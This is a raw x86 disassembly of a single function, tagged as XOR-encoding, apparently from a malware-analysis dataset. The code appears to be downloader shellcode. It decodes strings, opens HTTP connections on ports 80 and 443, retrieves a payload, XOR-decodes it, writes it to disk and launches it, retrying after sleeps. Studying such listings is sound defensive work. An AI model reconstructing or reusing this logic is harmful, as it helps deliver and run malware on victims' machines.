Function at 0x401c69
Capabilities:
Encode data using xor

Disassembly:
pop ecx
jmp 0x4024fe
mov ebp, esp
add ecx, 0xc
add esp, 0xfffffff0
mov dword [ebp - 0xc], ecx
push ecx
mov ebx, ecx
xor eax, eax
mov al, byte [ebx]
test eax, eax
je 0x40251a
dec eax
mov byte [ebx], al
inc ebx
jmp 0x40250e
inc ebx
push dword [ebp + 4]
call dword [ebp]
mov dword [ebp - 4], eax
push eax
xor eax, eax
push ebx
push ebx
mov al, byte [ebx]
dec eax
mov byte [ebx], al
inc ebx
inc eax
jne 0x402529
dec ebx
mov byte [ebx], al
push dword [ebp + 4]
call dword [ebp]
pop esi
mov dword [ebp - 8], eax
push eax
lodsb al, byte [esi]
test al, al
jne 0x402540
lodsb al, byte [esi]
dec al
je 0x402575
dec al
je 0x40257e
dec al
jne 0x40256a
mov eax, 0x446c7452
mov dword [esi], eax
push esi
push dword [ebp - 0x10]
call dword [ebp - 8]
push eax
mov eax, 0x21212121
mov dword [esi], eax
jmp 0x402540
dec esi
push esi
push dword [ebp - 0x10]
call dword [ebp - 8]
push eax
jmp 0x402540
push esi
call dword [ebp - 4]
mov dword [ebp - 0x10], eax
jmp 0x402540
mov eax, dword [ebp - 0xc]
mov ecx, eax
add eax, 0xccd
push eax
mov eax, ecx
add eax, 0xcdc
push eax
mov eax, ecx
add eax, 0xbb6
push eax
mov ebp, esp
add esp, 0xfffffd80
push 4
push 0x1000
push 0xa7dce4
push 0
call dword [ebp + 0x3c]
test eax, eax
je 0x4025a1
push 0x1000
pop ecx
push ecx
mov dword [ebp - 0x44], eax
add eax, 0x1e8868
mov dword [ebp - 0x48], eax
add eax, 0x5b9550
mov dword [ebp - 0xc], eax
pop edx
add eax, edx
mov dword [ebp - 0x10], eax
add eax, edx
add eax, ecx
mov dword [ebp - 0x30], eax
add eax, edx
mov dword [ebp - 4], eax
mov ebx, eax
add eax, edx
mov edi, eax
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x58], eax
lodsw ax, word [esi]
mov dword [ebp - 0x54], eax
xor eax, eax
mov ecx, eax
mov edx, eax
mov dword [ebx], edi
add ebx, 4
lodsb al, byte [esi]
cmp al, 1
je 0x402614
stosw word es:[edi], ax
inc ecx
test al, al
jne 0x402606
jmp 0x402601
xor eax, eax
lodsb al, byte [esi]
mov dword [ebp - 8], esi
shl eax, 2
add esi, eax
xor eax, eax
lodsb al, byte [esi]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x60], edi
mov ecx, eax
cld
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
lodsw ax, word [esi]
stosd dword es:[edi], eax
loop 0x40262b
mov eax, 0x400
mov dword [ebp - 0x50], edi
add edi, eax
mov dword [ebp - 0x6c], edi
mov ebx, edi
add ebx, eax
mov al, 0x2f
stosb byte es:[edi], al
xor eax, eax
stosb byte es:[edi], al
mov eax, 0xc8
lea esi, [ebp - 0x68]
mov dword [esi], eax
push esi
push edi
call dword [ebp + 0x70]
lodsd eax, dword [esi]
shl eax, 1
add edi, eax
mov al, 0x2f
stosb byte es:[edi], al
xor eax, eax
stosb byte es:[edi], al
mov ah, 4
mov dword [ebp - 0x68], ebx
mov edi, ebx
add ebx, eax
mov ecx, 0x11c
mov esi, ebx
mov dword [esi], ecx
push esi
call dword [ebp + 0x6c]
xor eax, eax
push 0x10e
mov al, 0x2f
stosw word es:[edi], ax
lodsd eax, dword [esi]
lodsd eax, dword [esi]
add al, 0x30
stosw word es:[edi], ax
lodsd eax, dword [esi]
add al, 0x30
stosw word es:[edi], ax
pop eax
add esi, eax
lodsb al, byte [esi]
dec al
je 0x40269d
mov al, 0x53
stosw word es:[edi], ax
sub esi, 6
dec esi
lodsw ax, word [esi]
test ax, ax
je 0x4026c0
add al, 0x32
dec eax
push eax
mov al, 0x2b
inc eax
inc eax
stosw word es:[edi], ax
mov al, 0x54
push 0x50
dec eax
stosw word es:[edi], ax
pop eax
stosw word es:[edi], ax
pop eax
dec eax
stosw word es:[edi], ax
xor eax, eax
mov al, 0x2f
stosw word es:[edi], ax
xor eax, eax
stosw word es:[edi], ax
mov ebx, eax
mov edi, dword [ebp - 0x44]
push 0x1010101
pop eax
mov ecx, 0xfa000
rep stosd dword es:[edi], eax
mov eax, dword fs:[0x44]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x44]
mov dword fs:[0x44], eax
push ebx
push ebx
push 0x3e8
push dword [ebp + 0x38]
push ebx
push ebx
call dword [ebp + 0x7c]
mov eax, dword [ebp - 0x70]
mov dword fs:[0x44], eax
mov ebx, 0xfff
mov edi, dword [ebp - 0xc]
push ebx
push edi
xor eax, eax
push eax
call dword [ebp + 0x68]
mov esi, dword [ebp - 0x10]
push esi
push ebx
call dword [ebp + 0x64]
mov ecx, 7
call dword [ebp + 8]
push eax
push esi
mov ecx, 0
call dword [ebp + 8]
push eax
push esi
call dword [ebp + 0x88]
add esp, 0x18
xor eax, eax
push eax
push 0x80
push 3
push eax
push 1
push 0x80000000
push edi
call dword [ebp + 0x5c]
cmp eax, 0xffffffff
je 0x40273b
mov dword [ebp - 0x14], eax
push 0
push eax
call dword [ebp + 0x40]
mov dword [ebp - 0x18], eax
push eax
push edi
call dword [ebp + 0x48]
inc eax
shl eax, 1
mov dword [ebp - 0x2c], eax
pop ecx
add ecx, eax
mov esi, ecx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1c], eax
push 0
lea ecx, [ebp - 0x20]
push ecx
push dword [ebp - 0x18]
push eax
push dword [ebp - 0x14]
call dword [ebp + 0x58]
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call dword [ebp + 0x74]
test eax, eax
je 0x402966
push esi
mov ecx, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
add edi, eax
mov esi, dword [ebp - 0xc]
cld
rep movsb byte es:[edi], byte [esi]
pop esi
xor eax, eax
mov edi, eax
push edi
push 0x80
push 2
push edi
push 2
push 0x40000000
push dword [ebp - 0x10]
call dword [ebp + 0x5c]
test eax, eax
je 0x402e0c
mov dword [ebp - 0x24], eax
push edi
lea ecx, [ebp - 0x20]
push ecx
push esi
push dword [ebp - 0x1c]
push eax
call dword [ebp + 0x54]
push dword [ebp - 0x14]
call dword [ebp + 0x44]
push dword [ebp - 0x24]
call dword [ebp + 0x44]
push dword [ebp - 0xc]
push 0x800
call dword [ebp + 0x64]
xor eax, eax
mov edi, dword [ebp - 0x48]
push edi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, dword [ebp - 0x44]
mov ecx, 0x14
mov eax, 0x44
push edi
stosd dword es:[edi], eax
xor eax, eax
stosd dword es:[edi], eax
loop 0x402810
mov edi, eax
push dword [ebp - 0xc]
push edi
push edi
push edi
push edi
push edi
push dword [ebp - 0x10]
push edi
call dword [ebp + 0x34]
push edi
call dword [ebp + 0x30]
mov dword [ebp - 0x70], ecx
mov ecx, dword [ebp - 0x74]
test ecx, ecx
jne 0x402833
ret
push edi
push esi
push eax
mov edi, dword [ebp - 0xc]
xor eax, eax
mov al, 0x2f
stosw word es:[edi], ax
mov eax, dword [ebp - 0x58]
call dword [ebp + 4]
xor ecx, ecx
mov cl, al
call dword [ebp + 8]
mov esi, eax
lodsw ax, word [esi]
test ax, ax
je 0x402859
stosw word es:[edi], ax
jmp 0x40284e
mov esi, dword [ebp - 0x6c]
xor ecx, ecx
lodsw ax, word [esi]
test ax, ax
je 0x402869
stosw word es:[edi], ax
jmp 0x40285e
test ecx, ecx
jne 0x4028d4
pop eax
cmp ah, cl
je 0x4028c3
mov ecx, eax
mov ax, 0x34
stosw word es:[edi], ax
mov al, 0x31
stosw word es:[edi], ax
mov al, 0x2f
stosw word es:[edi], ax
mov eax, ecx
add al, 0x30
mov ah, 0
stosw word es:[edi], ax
mov al, 0x2f
stosw word es:[edi], ax
push dword [ebp - 0x70]
xor eax, eax
mov ah, 4
push edi
add edi, eax
mov esi, edi
xor eax, eax
mov al, 0x26
dec eax
stosw word es:[edi], ax
mov al, 0x74
inc eax
stosw word es:[edi], ax
xor eax, eax
stosw word es:[edi], ax
mov eax, esi
pop esi
push eax
push esi
call dword [ebp + 0x88]
add esp, 0xc
lodsw ax, word [esi]
test ax, ax
je 0x4028b8
mov edi, esi
jmp 0x4028da
cmp al, 0
jne 0x40287a
add al, 0x30
stosw word es:[edi], ax
mov esi, dword [ebp - 0x68]
xor ecx, ecx
inc cl
jmp 0x40285e
dec cl
add al, 0x30
stosw word es:[edi], ax
mov al, 0x2f
mov ah, 0
stosw word es:[edi], ax
mov esi, dword [ebp - 0x30]
lodsb al, byte [esi]
stosw word es:[edi], ax
test al, al
jne 0x4028e3
xor ecx, ecx
push ecx
push 0x80000000
push ecx
push ecx
push ecx
push dword [ebp - 0xc]
mov cl, 5
call dword [ebp + 8]
push eax
push dword [ebp - 0x74]
call dword [ebp + 0x20]
test eax, eax
je 0x402938
push eax
lea esi, [ebp - 0x70]
mov eax, 0x1388
mov dword [esi], eax
push 4
push esi
push 6
push dword [ebp - 0x74]
call dword [ebp + 0x10]
push 4
push esi
push 2
push dword [ebp - 0x74]
call dword [ebp + 0x10]
pop esi
xor eax, eax
push eax
push eax
push eax
push eax
push esi
call dword [ebp + 0x1c]
push esi
call dword [ebp + 0x18]
pop esi
pop edi
ret
xor eax, eax
mov ecx, 0x3c
mov edx, dword [ebp - 0x1c]
push edx
add edx, ecx
mov ax, word [edx]
pop edx
add edx, eax
movzx ecx, word [edx + 6]
mov esi, dword [edx + 0x3c]
add edx, 0x14
movzx eax, word [edx]
inc eax
inc eax
inc eax
inc eax
add edx, eax
mov eax, 0x28
dec ecx
add edx, eax
dec ecx
jne 0x402992
mov ecx, esi
mov eax, dword [edx + 8]
add eax, ecx
dec eax
dec ecx
not ecx
and eax, ecx
add eax, dword [edx + 0x14]
mov edi, dword [ebp - 0x1c]
add edi, eax
push dword [ebp - 0x14]
call dword [ebp + 0x44]
mov esi, 0x1e
push edi
call dword [ebp + 0x50]
test eax, eax
jne 0x4029ca
push 0x3e8
call dword [ebp + 0x38]
dec esi
jne 0x4029b7
xor eax, eax
mov esi, eax
push eax
push esi
push eax
push 0
push 6
pop ecx
call dword [ebp + 8]
push eax
call dword [ebp + 0x28]
test eax, eax
je 0x4029ca
mov dword [ebp - 0x28], eax
push 3
pop ecx
call dword [ebp + 8]
mov dword [ebp - 0x88], eax
push 4
pop ecx
call dword [ebp + 8]
mov dword [ebp - 0x84], eax
mov eax, 0x3e80
mov dword [ebp - 0x7c], eax
xor eax, eax
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
mov ecx, eax
mov dword [ebp - 0x80], eax
dec eax
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
inc eax
cmp eax, dword [ebp - 0x5c]
jne 0x402a63
mov edx, dword [ebp - 0x50]
shl eax, 2
add edx, eax
mov eax, dword [edx]
inc eax
mov dword [edx], eax
mov ecx, dword [ebp - 0x7c]
cmp eax, 5
jbe 0x402a4a
inc esi
cmp eax, 0xa
jbe 0x402a4a
add ecx, 0x2710
mov dword [ebp - 0x7c], ecx
xor eax, eax
mov dword [edx], eax
mov ecx, 0x927c0
push ecx
call dword [ebp + 0x38]
test esi, esi
jne 0x402a59
mov ax, 0x2901
call dword [ebp]
mov eax, dword [ebp - 0x74]
test eax, eax
je 0x402a63
xor eax, eax
inc eax
mov dword [ebp - 0x58], eax
call dword [ebp + 4]
cmp ah, 0xff
je 0x402a14
mov eax, dword [ebp - 0x34]
test eax, eax
je 0x402a7d
push eax
call dword [ebp + 0x18]
and dword [ebp - 0x34], 0
mov ecx, dword [ebp - 0x38]
jecxz 0x402a8a
push ecx
call dword [ebp + 0x18]
and dword [ebp - 0x38], 0
lea esi, [ebp - 0x70]
mov eax, 0xfa0
mov dword [esi], eax
push 4
push esi
push 2
push dword [ebp - 0x28]
call dword [ebp + 0x10]
push 3
pop ecx
xor esi, esi
push ecx
push esi
push esi
push 3
push esi
push esi
mov eax, dword [ebp - 0x58]
mov ecx, 0x1bb
test eax, eax
jne 0x402abc
mov ecx, 0x50
push ecx
dec eax
test eax, eax
jne 0x402ae6
inc eax
mov edx, dword [ebp - 0x50]
shl eax, 2
add edx, eax
mov eax, dword [edx]
test eax, eax
jne 0x402ae6
inc eax
mov dword [edx], eax
call dword [ebp + 0x60]
xor edx, edx
div dword [ebp - 0x5c]
mov eax, edx
test eax, eax
jne 0x402ae3
inc eax
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
call dword [ebp + 4]
mov cl, ah
call dword [ebp + 8]
push eax
push dword [ebp - 0x28]
call dword [ebp + 0x24]
pop ecx
test eax, eax
loope 0x402aa4
mov dword [ebp - 0x34], eax
je 0x402a14
xchg edi, eax
lea esi, [ebp - 0x70]
mov eax, 0x2710
mov dword [esi], eax
push 4
push esi
push 2
push edi
call dword [ebp + 0x10]
xor esi, esi
push 3
pop ecx
push ecx
push esi
mov eax, dword [ebp - 0x58]
mov ecx, 0x80803000
test eax, eax
jne 0x402b32
mov ecx, 0x80000000
push ecx
lea eax, [ebp - 0x88]
push eax
push esi
push esi
mov eax, dword [ebp - 0x58]
mov ah, 1
call dword [ebp + 4]
mov cl, ah
call dword [ebp + 8]
push eax
push esi
push edi
call dword [ebp + 0x20]
pop ecx
test eax, eax
loope 0x402b1f
mov dword [ebp - 0x38], eax
test eax, eax
je 0x402b00
xchg edi, eax
mov eax, dword [ebp - 0x58]
test eax, eax
je 0x402b78
lea esi, [ebp - 0x70]
mov eax, 0x100
mov dword [esi], eax
push 4
push esi
push 0x1f
push dword [ebp - 0x38]
call dword [ebp + 0x10]
lea esi, [ebp - 0x70]
mov eax, 0xea60
mov dword [esi], eax
push 4
push esi
push 6
push dword [ebp - 0x38]
call dword [ebp + 0x10]
push 4
push esi
push 2
push dword [ebp - 0x38]
call dword [ebp + 0x10]
xor esi, esi
push 2
pop ecx
push ecx
push esi
push esi
push esi
push esi
push edi
call dword [ebp + 0x1c]
pop ecx
test eax, eax
loope 0x402b9d
je 0x402b00
mov eax, 0x3d0900
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x20], eax
lea esi, [ebp - 0x20]
mov edi, dword [ebp - 0x44]
mov dword [ebp - 0x64], edi
mov ecx, 0x1388
push ecx
push esi
push dword [ebp - 0x40]
push edi
push dword [ebp - 0x38]
call dword [ebp + 0x14]
pop ecx
test eax, eax
je 0x402c01
mov eax, dword [esi]
test eax, eax
je 0x402c01
add edi, eax
sub dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
test eax, eax
je 0x402c01
dec ecx
jne 0x402bcc
mov ecx, dword [ebp - 0x58]
mov ax, 0x2902
call dword [ebp]
jmp 0x402a14
mov eax, edi
sub eax, dword [ebp - 0x44]
cmp eax, 0x249f0
ja 0x402c7d
mov ecx, dword [ebp - 0x58]
test ecx, ecx
jne 0x402bf2
mov ecx, eax
mov edi, dword [ebp - 0x30]
mov eax, dword [edi]
test eax, eax
jne 0x402bf2
push 0x2e
mov esi, dword [ebp - 0x44]
mov eax, dword [esi]
inc esi
cmp eax, 0x65726464
loopne 0x402c24
jcxz 0x402bf2
inc esi
inc esi
inc esi
lodsd eax, dword [esi]
sub eax, 0x203a7373
jne 0x402bf2
pop ecx
lodsb al, byte [esi]
cmp al, cl
jb 0x402c4c
cmp al, 0x39
ja 0x402c4c
add eax, 0x14
stosb byte es:[edi], al
loop 0x402c3d
xor eax, eax
stosw word es:[edi], ax
push eax
xor ecx, ecx
push ecx
push ecx
push 3
push ecx
push ecx
call dword [ebp + 0x60]
and eax, 3
add eax, dword [ebp - 0x54]
push eax
mov cl, 8
call dword [ebp + 8]
push eax
push dword [ebp - 0x28]
call dword [ebp + 0x24]
mov dword [ebp - 0x74], eax
pop eax
mov ecx, eax
call dword [ebp]
jmp 0x402a14
mov dword [ebp - 0x40], eax
mov eax, 0x5a06e0
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x58]
mov ah, 2
call dword [ebp + 4]
mov cl, ah
shl ecx, 2
mov eax, dword [ebp - 8]
add eax, ecx
mov ecx, dword [ebp - 0x40]
push ebx
mov esi, dword [ebp - 0x44]
push 4
mov ebx, dword [eax]
inc esi
inc esi
shr ecx, 2
pop edx
inc esi
inc esi
mov edi, esi
dec ecx
push ebx
lodsd eax, dword [esi]
xor eax, ebx
stosd dword es:[edi], eax
pop ebx
dec ebx
dec ecx
jne 0x402cb0
inc ecx
inc ecx
lea eax, [ebp - 0x14]
inc ecx
inc ecx
pop ebx
push eax
mov eax, dword [ebp - 0x40]
sub eax, ecx
push eax
mov esi, dword [ebp - 0x44]
add esi, ecx
push esi
mov eax, dword [ebp - 0x4c]
push eax
mov edi, dword [ebp - 0x48]
mov dword [ebp - 0x64], edi
push edi
push 0x102
call dword [ebp + 0x84]
mov eax, dword [edi]
dec al
inc ah
cmp ax, 0x5b4c
je 0x402d20
mov eax, dword [ebp - 0x58]
mov ecx, eax
mov edx, dword [ebp - 0x50]
shl eax, 2
add edx, eax
mov eax, dword [edx]
cmp eax, 5
ja 0x402e0c
inc eax
mov dword [edx], eax
mov ax, 0x2904
call dword [ebp]
push 0x7d0
call dword [ebp + 0x38]
jmp 0x402a14
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
xor eax, eax
push eax
push 0x80
push 2
push eax
push 2
push 0x40000000
mov eax, dword [ebp - 0x58]
mov ah, 4
call dword [ebp + 4]
mov cl, ah
call dword [ebp + 8]
push eax
call dword [ebp + 0x5c]
mov edi, eax
xor eax, eax
push eax
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x64]
push edi
call dword [ebp + 0x54]
push edi
call dword [ebp + 0x44]
mov esi, dword [ebp - 0xc]
push esi
push ecx
call dword [ebp + 0x4c]
mov eax, dword [ebp - 0x58]
mov ah, 4
call dword [ebp + 4]
mov cl, ah
call dword [ebp + 8]
push eax
push esi
mov ecx, 1
call dword [ebp + 8]
push eax
push esi
call dword [ebp + 0x88]
add esp, 0x18
mov edi, dword [ebp - 0x44]
mov ecx, 0x14
mov eax, 0x44
push edi
stosd dword es:[edi], eax
xor eax, eax
stosd dword es:[edi], eax
loop 0x402d9b
mov edi, dword [ebp - 0x48]
push edi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, eax
push edi
push edi
push edi
push edi
push edi
push edi
push esi
push edi
call dword [ebp + 0x34]
mov ecx, eax
mov eax, 0x2905
call dword [ebp]
mov eax, dword [ebp - 0x58]
call dword [ebp + 4]
mov ecx, eax
push ecx
mov eax, dword [ebp - 0x58]
mov ah, 3
call dword [ebp + 4]
mov cl, ah
mov eax, 0x3e8
mul ecx
push eax
call dword [ebp + 0x38]
pop ecx
mov dl, cl
xor eax, eax
mov esi, eax
mov ecx, dword [ebp - 0x5c]
push ebx
mov ebx, dword [ebp - 0x60]
mov eax, dword [ebx]
cmp al, dl
jne 0x402df7
inc ebx
mov al, 0xff
mov byte [ebx], al
dec ebx
mov ah, al
cmp ah, 0xff
je 0x402dfd
inc esi
add ebx, 8
dec ecx
jne 0x402de9
pop ebx
cmp esi, ecx
jne 0x402a14
push 0
call dword [ebp + 0x30]
int3